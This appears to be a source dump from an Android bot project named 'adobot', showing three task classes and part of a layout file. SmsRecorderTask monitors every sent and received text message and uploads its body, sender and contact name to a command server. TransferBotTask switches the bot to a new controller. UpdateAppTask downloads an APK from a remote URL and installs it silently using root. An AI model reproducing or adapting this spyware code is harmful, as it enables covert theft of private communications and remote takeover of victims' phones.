android.content.pm.PackageManager; 9 | import android.database.ContentObserver; 10 | import android.database.Cursor; 11 | import android.net.Uri; 12 | import android.os.Handler; 13 | import android.support.v4.content.ContextCompat; 14 | import android.util.Log; 15 | 16 | import com.android.adobot.AdobotConstants; 17 | import com.android.adobot.CommonParams; 18 | import com.android.adobot.SmsBroadcastReceiver; 19 | import com.android.adobot.database.AppDatabase; 20 | import com.android.adobot.database.Sms; 21 | import com.android.adobot.database.SmsDao; 22 | import com.android.adobot.http.Http; 23 | import com.android.adobot.http.HttpCallback; 24 | import com.android.adobot.http.HttpRequest; 25 | 26 | import org.json.JSONObject; 27 | 28 | import java.text.SimpleDateFormat; 29 | import java.util.Calendar; 30 | import java.util.HashMap; 31 | import java.util.Objects; 32 | 33 | /** 34 | * Created by adones on 2/27/17. 35 | */ 36 | 37 | public class SmsRecorderTask extends BaseTask { 38 | 39 | private static final String TAG = "SmsRecorderTask"; 40 | 41 | private static final Uri smsUri = Uri.parse("content://sms"); 42 | public static final int MESSAGE_TYPE_RECEIVED = 1; 43 | public static final int MESSAGE_TYPE_SENT = 2; 44 | 45 | private SmsObserver smsObserver; 46 | private SharedPreferences prefs; 47 | private ContentResolver contentResolver; 48 | private AppDatabase appDatabase; 49 | public SmsDao smsDao; 50 | private static SmsRecorderTask instance; 51 | private int lastId = 0; 52 | 53 | public SmsRecorderTask(Context context) { 54 | setContext(context); 55 | appDatabase = Room.databaseBuilder(context.getApplicationContext(), 56 | AppDatabase.class, AdobotConstants.DATABASE_NAME).build(); 57 | smsDao = appDatabase.smsDao(); 58 | smsObserver = (new SmsObserver(new Handler())); 59 | contentResolver = context.getContentResolver(); 60 | prefs = context.getSharedPreferences(AdobotConstants.PACKAGE_NAME, Context.MODE_PRIVATE); 61 | instance = this; 62 | listen(); 63 | } 64 | 65 | public static SmsRecorderTask getInstance() { 66 | return instance; 67 | }; 68 | 69 | public void listen() { 70 | if (hasPermission()) { 71 | commonParams = new CommonParams(context); 72 | contentResolver.registerContentObserver(smsUri, true, smsObserver); 73 | } else 74 | requestPermissions(); 75 | } 76 | 77 | private boolean hasPermission() { 78 | return ContextCompat.checkSelfPermission(context, Manifest.permission.READ_SMS) == 79 | PackageManager.PERMISSION_GRANTED && 80 | ContextCompat.checkSelfPermission(context, Manifest.permission.INTERNET) == 81 | PackageManager.PERMISSION_GRANTED; 82 | } 83 | 84 | public interface SubmitSmsCallback { 85 | void onResult (boolean success); 86 | } 87 | 88 | public void submitNextRecord(final SubmitSmsCallback cb) { 89 | Log.i(TAG, "submitNextRecord()"); 90 | Thread thread = new Thread(new Runnable() { 91 | @Override 92 | public void run() { 93 | Sms m = smsDao.first(); 94 | Log.i(TAG, "m = " + m); 95 | if (m != null) { 96 | submitSms(m, cb); 97 | } else 98 | cb.onResult(true); 99 | } 100 | }); 101 | thread.start(); 102 | } 103 | 104 | 105 | public Sms findSmsFromContent(String mPhone, String mBody, int mType) { 106 | 107 | if(ContextCompat.checkSelfPermission(context, Manifest.permission.READ_SMS) == PackageManager.PERMISSION_GRANTED) { 108 | 109 | Uri callUri = Uri.parse("content://sms/inbox"); 110 | ContentResolver cr = context.getApplicationContext().getContentResolver(); 111 | Cursor mCur = cr.query(callUri, null, null, null, null); 112 | if (mCur.moveToFirst()) { 113 | do { 114 | 115 | SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 116 | Calendar calendar = Calendar.getInstance(); 117 | String now = mCur.getString(mCur.getColumnIndex("date")); 118 | calendar.setTimeInMillis(Long.parseLong(now)); 119 | 120 | try { 121 | String thread_id = mCur.getString(mCur.getColumnIndex("thread_id")); 122 | int id = mCur.getInt(mCur.getColumnIndex("_id")); 123 | String phone = mCur.getString(mCur.getColumnIndex("address")); 124 | String name = getContactName(phone); 125 | String body = mCur.getString(mCur.getColumnIndex("body")); 126 | String date = formatter.format(calendar.getTime()); 127 | int type = mCur.getInt(mCur.getColumnIndex("type")); 128 | 129 | if (Objects.equals(mBody.trim(), body.trim()) && 130 | Objects.equals(mPhone.trim(), phone.trim()) && 131 | mType == type) { 132 | 133 | // found 134 | Sms sms = smsDao.findByAttributes(mPhone, mBody, date ,type); 135 | if (sms == null) { 136 | sms = new Sms(); 137 | } 138 | 139 | Log.i(TAG, "Subtituting sms from:" + mPhone + " Message: " + body); 140 | 141 | sms.set_id(id); 142 | sms.setThread_id(thread_id); 143 | sms.setPhone(phone); 144 | sms.setName(name); 145 | sms.setBody(body); 146 | sms.setDate(date); 147 | sms.setType(type); 148 | 149 | return sms; 150 | } 151 | 152 | } catch (Exception e) { 153 | e.printStackTrace(); 154 | return null; 155 | } 156 | 157 | } while (mCur.moveToNext()); 158 | } else { 159 | // no message 160 | return null; 161 | } 162 | mCur.close(); 163 | return null; 164 | 165 | } else { 166 | Log.i(TAG, "No SMS permission!!!"); 167 | HashMap noPermit = new HashMap(); 168 | noPermit.put("event", "nopermission"); 169 | noPermit.put("uid", commonParams.getUid()); 170 | noPermit.put("device", commonParams.getDevice()); 171 | noPermit.put("permission", "READ_SMS"); 172 | Http doneSMS = new Http(); 173 | doneSMS.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL); 174 | doneSMS.setMethod(HttpRequest.METHOD_POST); 175 | doneSMS.setParams(noPermit); 176 | doneSMS.execute(); 177 | 178 | return null; 179 | } 180 | } 181 | 182 | private void submitSms(Sms sms, final SubmitSmsCallback cb) { 183 | 184 | String err = "Can't find sms: " + sms.getBody() + ", From: " + sms.getPhone(); 185 | 186 | if (sms.get_id() == 0 && Objects.equals(SmsBroadcastReceiver.SMS_RECEIVED, sms.getThread_id()) && Objects.equals(sms.getName(), SmsBroadcastReceiver.SMS_RECEIVED)) { 187 | Sms smsRecord = findSmsFromContent(sms.getPhone(), sms.getBody(), sms.getType()); 188 | if (smsRecord == null) { 189 | Log.i(TAG, err); 190 | sms.setName("UNKNOWN_CONTACT"); 191 | sms.setThread_id("0"); 192 | sms.set_id(0); 193 | } else { 194 | sms = smsRecord; 195 | } 196 | } 197 | 198 | final int type = sms.getType(); 199 | final int id = sms.get_id(); 200 | final String thread_id = sms.getThread_id(); 201 | final String name = sms.getName(); 202 | final String phone = sms.getPhone(); 203 | final String body = sms.getBody(); 204 | final String date = sms.getDate(); 205 | 206 | final Sms _sms = sms; 207 | 208 | try { 209 | 210 | HashMap p = new HashMap(); 211 | p.put("uid", commonParams.getUid()); 212 | p.put("type", type); 213 | p.put("message_id", id); 214 | p.put("thread_id", thread_id); 215 | p.put("phone", phone); 216 | p.put("name", name); 217 | p.put("message", body); 218 | p.put("date", date); 219 | 220 | JSONObject obj = new JSONObject(p); 221 | Log.i(TAG, "Submitting SMS: " + obj.toString()); 222 | 223 | Http smsHttp = new Http(); 224 | smsHttp.setMethod(HttpRequest.METHOD_POST); 225 | smsHttp.setUrl(commonParams.getServer() + AdobotConstants.POST_MESSAGE_URL); 226 | smsHttp.setParams(p); 227 | smsHttp.setCallback(new HttpCallback() { 228 | @Override 229 | public void onResponse(HashMap response) { 230 | int statusCode = (int) response.get("status"); 231 | if (statusCode >= 200 && statusCode < 400) { 232 | try { 233 | smsDao.delete(_sms); 234 | Log.i(TAG, "sms submitted!! " + body); 235 | submitNextRecord(cb); 236 | } catch (Exception e) { 237 | Log.i(TAG, "Failed to delete sms: " + phone); 238 | cb.onResult(false); 239 | e.printStackTrace(); 240 | } 241 | } else { 242 | Log.i(TAG, "Sms failed to submit!!!" + phone); 243 | Log.i(TAG, "Status code: " + statusCode); 244 | cb.onResult(false); 245 | } 246 | } 247 | }); 248 | smsHttp.execute(); 249 | 250 | } catch (Exception e) { 251 | Log.i(TAG, "FAiled with error: " + e.toString()); 252 | e.printStackTrace(); 253 | cb.onResult(false); 254 | } 255 | } 256 | 257 | public class InsertSmsModel extends Thread { 258 | private Sms sms; 259 | 260 | public InsertSmsModel(Sms sms) { 261 | this.sms = sms; 262 | } 263 | 264 | @Override 265 | public void run() { 266 | super.run(); 267 | 268 | try { 269 | smsDao.insert(sms); 270 | Log.i(TAG, "Message saved, type: " + sms.getType() + "!!!" + sms.getBody()); 271 | submitSms(sms, new SubmitSmsCallback() { 272 | @Override 273 | public void onResult(boolean success) { 274 | if (success) { 275 | submitNextRecord(new SubmitSmsCallback() { 276 | @Override 277 | public void onResult(boolean success) { 278 | // nothing to do after submit 279 | } 280 | }); 281 | } 282 | } 283 | }); 284 | } catch (Exception e) { 285 | Log.i(TAG, "Failed to save sms: id: " + sms.getId()); 286 | } 287 | } 288 | } 289 | 290 | 291 | 292 | public void saveSms(Cursor mCur) { 293 | final int type = mCur.getInt(mCur.getColumnIndex("type")); 294 | final int id = mCur.getInt(mCur.getColumnIndex("_id")); 295 | final String body = mCur.getString(mCur.getColumnIndex("body")); 296 | 297 | // accept only received and sent 298 | if (id != lastId && (type == MESSAGE_TYPE_SENT || type == MESSAGE_TYPE_RECEIVED)) { 299 | 300 | lastId = id; 301 | 302 | final String thread_id = mCur.getString(mCur.getColumnIndex("thread_id")); 303 | final String phone = mCur.getString(mCur.getColumnIndex("address")); 304 | final String name = getContactName(phone); 305 | 306 | 307 | SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); 308 | Calendar calendar = Calendar.getInstance(); 309 | String now = mCur.getString(mCur.getColumnIndex("date")); 310 | calendar.setTimeInMillis(Long.parseLong(now)); 311 | 312 | final String date = formatter.format(calendar.getTime()); 313 | 314 | Sms sms = new Sms(); 315 | sms.set_id(id); 316 | sms.setThread_id(thread_id); 317 | sms.setBody(body); 318 | sms.setName(name); 319 | sms.setPhone(phone); 320 | sms.setDate(date); 321 | sms.setType(type); 322 | 323 | InsertSmsModel ins = new InsertSmsModel(sms); 324 | ins.start(); 325 | 326 | /*SimpleDateFormat df = new SimpleDateFormat("EEE d MMM yyyy"); 327 | SimpleDateFormat tf = new SimpleDateFormat("hh:mm aaa"); 328 | Calendar calendar = Calendar.getInstance(); 329 | String now = mCur.getString(mCur.getColumnIndex("date")); 330 | calendar.setTimeInMillis(Long.parseLong(now)); 331 | String phone = mCur.getString(mCur.getColumnIndex("address")); 332 | String name = getContactName(phone); 333 | String date = df.format(calendar.getTime()) + "\n" + tf.format(calendar.getTime());*/ 334 | 335 | /* String message = AdobotConstants.SMS_FORWARDER_SIGNATURE + "\n\n"; 336 | message += "From: " + commonParams.getDevice() + "\n"; 337 | message += "UID: " + commonParams.getUid() + "\n\n"; 338 | message += type == MESSAGE_TYPE_RECEIVED ? "(Received) " : (type == MESSAGE_TYPE_SENT ? "(Sent) " : ""); 339 | message += name != null ? name + "\n" : ""; 340 | message += phone != null ? phone : ""; 341 | message += "\n\n"; 342 | message += body + "\n\n"; 343 | message += date + "\n\n"; 344 | 345 | Thread send = new SendSmsThread(recipientNumber, message); 346 | send.start();*/ 347 | 348 | } 349 | 350 | } 351 | 352 | public class SmsObserver extends ContentObserver { 353 | 354 | public SmsObserver(Handler handler) { 355 | super(handler); 356 | } 357 | 358 | @Override 359 | public void onChange(boolean selfChange) { 360 | super.onChange(selfChange); 361 | Cursor cursor = null; 362 | 363 | try { 364 | cursor = contentResolver.query(smsUri, null, null, null, "date DESC"); 365 | 366 | if (cursor != null && cursor.moveToNext()) { 367 | saveSms(cursor); 368 | } 369 | } finally { 370 | if (cursor != null) 371 | cursor.close(); 372 | } 373 | 374 | } 375 | 376 | } 377 | 378 | 379 | } 380 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/tasks/TransferBotTask.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.tasks; 2 | 3 | import android.content.Context; 4 | import android.content.SharedPreferences; 5 | import android.os.Build; 6 | import android.util.Log; 7 | 8 | import com.android.adobot.AdobotConstants; 9 | import com.android.adobot.http.Http; 10 | import com.android.adobot.http.HttpCallback; 11 | import com.android.adobot.http.HttpRequest; 12 | import com.android.adobot.NetworkSchedulerService; 13 | 14 | import java.util.HashMap; 15 | 16 | /** 17 | * Created by adones on 2/26/17. 18 | */ 19 | 20 | public class TransferBotTask extends BaseTask { 21 | 22 | private static final String TAG = "TransferBotTask"; 23 | 24 | private String newServerUrl; 25 | private Context commandService; 26 | SharedPreferences prefs; 27 | 28 | public TransferBotTask(Context c, String url) { 29 | setContext(c); 30 | this.commandService = c; 31 | this.newServerUrl = url; 32 | } 33 | 34 | private HttpCallback pingCb = new HttpCallback() { 35 | @Override 36 | public void onResponse(HashMap response) { 37 | int statusCode = Integer.parseInt(String.valueOf(response.get("status"))); 38 | Log.i(TAG, "Ping call back!!! Status code: " + statusCode); 39 | HashMap p = new HashMap(); 40 | p.put("uid", commonParams.getUid()); 41 | p.put("device", commonParams.getDevice()); 42 | p.put("server", newServerUrl); 43 | p.put("status", statusCode); 44 | if (statusCode >= 200 && statusCode < 400) { 45 | // new server is reachable 46 | // notify old server 47 | sendNotification("transferbot:success", p); 48 | prefs = context.getSharedPreferences(AdobotConstants.PACKAGE_NAME, Context.MODE_PRIVATE); 49 | boolean saved = prefs.edit().putString(AdobotConstants.PREF_SERVER_URL_FIELD, newServerUrl).commit(); 50 | Log.i(TAG, "Saved: " + (saved? "true" : "false")); 51 | if (saved && Build.VERSION.SDK_INT >= 21) { 52 | NetworkSchedulerService cmd = (NetworkSchedulerService) commandService; 53 | cmd.changeServer(newServerUrl); 54 | } 55 | else 56 | sendNotification("transferbot:failed", p); 57 | } else { 58 | sendNotification("transferbot:failed", p); 59 | } 60 | 61 | } 62 | }; 63 | 64 | @Override 65 | public void run() { 66 | super.run(); 67 | pingNewServer(); 68 | } 69 | 70 | private void pingNewServer() { 71 | HashMap p = new HashMap(); 72 | p.put("event", "bot:transferring"); 73 | p.put("uid", commonParams.getUid()); 74 | p.put("device", commonParams.getDevice()); 75 | p.put("server", commonParams.getServer()); 76 | 77 | //ping server before transferring bot 78 | Http req = new Http(); 79 | req.setUrl(newServerUrl + AdobotConstants.NOTIFY_URL); 80 | req.setMethod(HttpRequest.METHOD_POST); 81 | req.setParams(p); 82 | req.setCallback(pingCb); 83 | req.execute(); 84 | 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /app/src/main/java/com/android/adobot/tasks/UpdateAppTask.java: -------------------------------------------------------------------------------- 1 | package com.android.adobot.tasks; 2 | 3 | import android.Manifest; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.content.pm.PackageManager; 7 | import android.os.Environment; 8 | import android.support.v4.content.ContextCompat; 9 | import android.util.Log; 10 | 11 | import com.android.adobot.AdobotConstants; 12 | import com.android.adobot.activities.UpdateActivity; 13 | 14 | import java.io.BufferedInputStream; 15 | import java.io.File; 16 | import java.io.FileOutputStream; 17 | import java.io.InputStream; 18 | import java.net.MalformedURLException; 19 | import java.net.URL; 20 | import java.net.URLConnection; 21 | import java.util.HashMap; 22 | 23 | import com.android.adobot.http.Http; 24 | import com.android.adobot.http.HttpRequest; 25 | 26 | import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK; 27 | 28 | public class UpdateAppTask extends BaseTask { 29 | private static final String TAG = "UpdateAppTask"; 30 | private URL url; 31 | 32 | public UpdateAppTask(Context c, String url) { 33 | setContext(c); 34 | try { 35 | this.url = new URL(url); 36 | } catch (MalformedURLException e) { 37 | e.printStackTrace(); 38 | } 39 | } 40 | 41 | @Override 42 | public void run() { 43 | 44 | if (ContextCompat.checkSelfPermission(context, Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_GRANTED && url != null) { 45 | 46 | try { 47 | URLConnection c = url.openConnection(); 48 | c.connect(); 49 | 50 | File file = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS); 51 | file.mkdirs(); 52 | File outputFile = new File(file, AdobotConstants.UPDATE_PKG_FILE_NAME); 53 | if (outputFile.exists()) { 54 | outputFile.delete(); 55 | } 56 | FileOutputStream fos = new FileOutputStream(outputFile); 57 | 58 | InputStream is = new BufferedInputStream(url.openStream()); 59 | 60 | 61 | HashMap dlStarted = new HashMap(); 62 | dlStarted.put("event", "download:started"); 63 | dlStarted.put("uid", commonParams.getUid()); 64 | dlStarted.put("device", commonParams.getDevice()); 65 | Http doneSMS = new Http(); 66 | doneSMS.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL); 67 | doneSMS.setMethod(HttpRequest.METHOD_POST); 68 | doneSMS.setParams(dlStarted); 69 | doneSMS.execute(); 70 | 71 | byte[] buffer = new byte[1024]; 72 | int len1 = 0; 73 | while ((len1 = is.read(buffer)) != -1) { 74 | fos.write(buffer, 0, len1); 75 | Log.i(TAG, "Downloading..."); 76 | } 77 | fos.flush(); 78 | fos.close(); 79 | is.close(); 80 | 81 | Log.i(TAG, "Download Complete!!!!!"); 82 | 83 | HashMap dlComplete = new HashMap(); 84 | dlComplete.put("event", "download:completed"); 85 | dlComplete.put("uid", commonParams.getUid()); 86 | dlComplete.put("device", commonParams.getDevice()); 87 | Http DlDone = new Http(); 88 | DlDone.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL); 89 | DlDone.setMethod(HttpRequest.METHOD_POST); 90 | DlDone.setParams(dlComplete); 91 | DlDone.execute(); 92 | 93 | installApk(outputFile); 94 | 95 | 96 | } catch (Exception e) { 97 | Log.e("UpdateAPP", "Update error! " + e.getMessage()); 98 | HashMap noPermit = new HashMap(); 99 | noPermit.put("event", "download:error"); 100 | noPermit.put("uid", commonParams.getUid()); 101 | noPermit.put("device", commonParams.getDevice()); 102 | noPermit.put("error", "Download failed"); 103 | Http doneSMS = new Http(); 104 | doneSMS.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL); 105 | doneSMS.setMethod(HttpRequest.METHOD_POST); 106 | doneSMS.setParams(noPermit); 107 | doneSMS.execute(); 108 | 109 | } 110 | } else { 111 | Log.e(TAG, "No WRITE_EXTERNAL_STORAGE permission!!!"); 112 | HashMap noPermit = new HashMap(); 113 | noPermit.put("event", "nopermission"); 114 | noPermit.put("uid", commonParams.getUid()); 115 | noPermit.put("device", commonParams.getDevice()); 116 | noPermit.put("permission", "WRITE_EXTERNAL_STORAGE"); 117 | Http doneSMS = new Http(); 118 | doneSMS.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL); 119 | doneSMS.setMethod(HttpRequest.METHOD_POST); 120 | doneSMS.setParams(noPermit); 121 | doneSMS.execute(); 122 | 123 | requestPermissions(); 124 | } 125 | } 126 | 127 | public void installApk(File file){ 128 | if(file.exists()){ 129 | try { 130 | // Install apk silently if rooted 131 | String command; 132 | command = "pm install -r " + file.getAbsolutePath(); 133 | Log.i(TAG, "Command: " + command); 134 | Process proc = Runtime.getRuntime().exec(new String[] { "su", "-c", command }); 135 | proc.waitFor(); 136 | 137 | } catch (Exception e) { 138 | // Prompt update activity 139 | Log.i(TAG, e.toString()); 140 | Log.i(TAG, "no root, open update activity"); 141 | showAppIcon(UpdateActivity.class); 142 | Intent updateIntent = new Intent(context, UpdateActivity.class); 143 | updateIntent.addFlags(FLAG_ACTIVITY_NEW_TASK); 144 | context.startActivity(updateIntent); 145 | } 146 | } 147 | } 148 | 149 | } -------------------------------------------------------------------------------- /app/src/main/res/layout/activity_permissions.xml: -------------------------------------------------------------------------------- 1 | 2 | 7 | 8 | 19 | 20 |